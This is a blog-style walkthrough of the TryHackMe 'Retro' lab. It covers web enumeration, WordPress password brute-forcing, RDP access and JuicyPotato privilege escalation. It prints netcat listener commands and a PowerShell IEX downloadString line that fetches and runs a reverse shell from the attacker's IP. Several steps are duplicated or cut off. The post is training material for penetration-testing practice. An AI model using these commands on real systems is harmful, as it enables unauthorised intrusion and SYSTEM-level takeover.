Retro TryHackMe WalkThrough

Test your PenTesting Skills with the Retro Challenge Room on TryHackMe.

Room: Retro

Learning Path: Offensive Pentesting

Module: Extra Credit

Room Type: Password Cracking, Reverse Shell, Challenge Room

Protocols/Tools: WordPress, GoBuster, WPScan

Open Ports: HTTP, RDP

Setting up

💡Connect to the VM and Spawn the machine or Connect to THM’s network via OpenVPN

Note: Due to Medium’s formatting, some elements are dropped. Please visit this page for the full tutorial via Notion:

Extra Credit

Step 1: Information-Gathering

💡Scan Target Machine: nmap -sV -sC -Pn 10.10.160.146

Open Ports: 80: Hypertext Transfer Protocol (HTTP) 3389: Remote Desktop Protocol (RDP)

Open Ports: 80: Hypertext Transfer Protocol (HTTP) 3389: Remote Desktop Protocol (RDP)

Step 2: Vulnerability-Assessment

1. Navigate to port 80 via the browser via http://10.10.160.146
2. Use Gobuster to find directories│├─ gobuster dir -u http://10.10.160.146/ -w /usr/share/wordlists/rockyou.txt

Step 3: Exploitation

1. Use Gobuster again reveals a wp login page: gobuster dir -u http://10.10.160.146/retro -w /usr/share/wordlists/rockyou.txt

│└─ gobuster d

wpscan --url http://retro.thm/retro -e

3. We can scan for possible cred on the Blog (‘wade’:’parzival’) or Bruteforce credentials in order to login: wpscan --url http://retro.thm/retro -e

4. Create a custom wordlist from WordPress using CeWL tool

│└─ cewl -d 3 -m 7 -w retrowl.txt http://retro.thm/retro/

Get Cyber Rey’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

│└─ wpscan --url http://retro.thm/retro --passwords retrowl.txt --usernames Wade

Exploit the RDP port using the credentials

5. Exploit the RDP port using the credentials: xfreerdp /u:Wade /v:10.10.160.146

Upon successful login, a user.txt file is seen on the desktop

Step 4: Priv Esc

1. Use CMD to gather info on ‘Wade’s’ system
   │├─ sysinfo
│├─ whoami /all

whoami /all

Method 1: Easy

Exploit the Windows vulnerable Kernel version (CVE-2017–0213) to escalate privileges
Here’s a walkthrough I found:

Method 2: More Advanced

1. Log in to WordPress and create a reverse shell in one of the page templates
2. Open a netcat listener on our machine before refreshing the edited page: nc -lvnp 4444
3. Open a netcat listener on our machine before refreshing the edited page
4. Check what user is this and what privileges do: whoami /all
5. The user retro has the ‘SeImpersonatePrivilege’ enabled that we need to leverage our access to SYSTEM so let’s try to use a Juicy Tomato attack. Let’s make a temp directory in the ‘C:\’
   │└─ cd C:\\
│└─ mkdir temp
│└─ cd temp
6. First, we need to download our exploit, then transfer it to the server. Open a Python Http server and download it from the other side using PowerShell:sudo Python3 -m http.server 80
7. First, we need to download our exploit, then transfer it to the server. Open a Python Http server and download it from the other side using PowerShell
8. Head to our server, start PowerShell and get the exploit into our newly created directory
   │ ├─ Invoke-WebRequest <resource_to_download> -outfile <output_file_name>
│ ├─ Invoke-WebRequest <resource_to_download> -outfile <output_file_name>
9. Attempt to run it in the machine
10. Attempt to run it in the machine
11. Lets download the Invoke-PowerShellTcp.ps1 from the Shells directory and save it on our machine. Additionally, let's add a new line at the end of the file, containing the following command, replacing the IP and Port with our own:Invoke-PowerShellTcp -Reverse -IPAddress <IP> -Port <Port>
12. Get our reverse shell on the server using the same procedure
13. To execute our reverse shell and get a shell with SYSTEM privileges on our side. Lets create a .bat file and download it in the server using the same method. The .bat file should have the following code, with the IP replaced by our own IP address:PowerShell “IEX(New-Object Net.WebClient).downloadString(‘[http://<IP>/rshell.ps1'](<http://10.9.109.169/rev.ps1>'))"
14. Download it into the server, using Invoke-WebRequest:
15. Open a netcat listener on our side, on a different port that the one we are currently using in this shell. The flow of this attack is something like this:
    - The JuicyPotato exploit runs the .bat file as SYSTEM
    - The .bat file with SYSTEM privileges downloads our Nishang reverse -shell and executes it
    - We get a SYSTEM shell on our side by using a netcat listener
16. Lets try our attack and see if we get a SYSTEM shell on our side. We can use the JuicyPotato like this: .\\j.exe -t * -p <path_to_executable.bat> -l 9002
17. Head to the Administrator Desktop and grab our root flag!

Room Questions

1. A web server is running on the target. What is the hidden directory that the website lives on?
2. User.txt
3. Root.txt

Note: Due to Medium’s formatting, some elements are dropped. Please visit this page for the full tutorial via Notion:

Retro